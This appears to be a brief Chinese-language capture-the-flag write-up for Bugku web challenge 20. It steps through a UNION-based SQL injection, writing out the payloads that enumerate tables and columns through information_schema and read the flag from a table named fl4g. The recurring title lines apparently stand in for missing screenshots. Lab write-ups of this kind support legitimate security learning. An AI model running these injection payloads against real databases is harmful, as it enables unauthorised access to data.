BUGKU_CTF WEB 20题writeup

首先知道该页面存在sql注入漏洞。

先判断是否存在注入点。发现是单引号闭合注入。BUGKU_CTF WEB 20题writeup

通过页面回显信息判断当前列数

BUGKU_CTF WEB 20题writeup

判断页面中可以回显的点

BUGKU_CTF WEB 20题writeup

爆库名

BUGKU_CTF WEB 20题writeup

使用命令:0’ union select table_name,2,3,4 from information_schema.tables where table_schema=‘skctf_flag’#爆表名

BUGKU_CTF WEB 20题writeup

使用命令‘:0’ union select column_name,2,3,4 from information_schema.columns where table_name=‘fl4g’#

成功拿到列名
BUGKU_CTF WEB 20题writeup

拿到表名和列名后,查询:0’ union select 2,skctf_flag,4,3 from fl4g#

BUGKU_CTF WEB 20题writeup

成功拿到flag。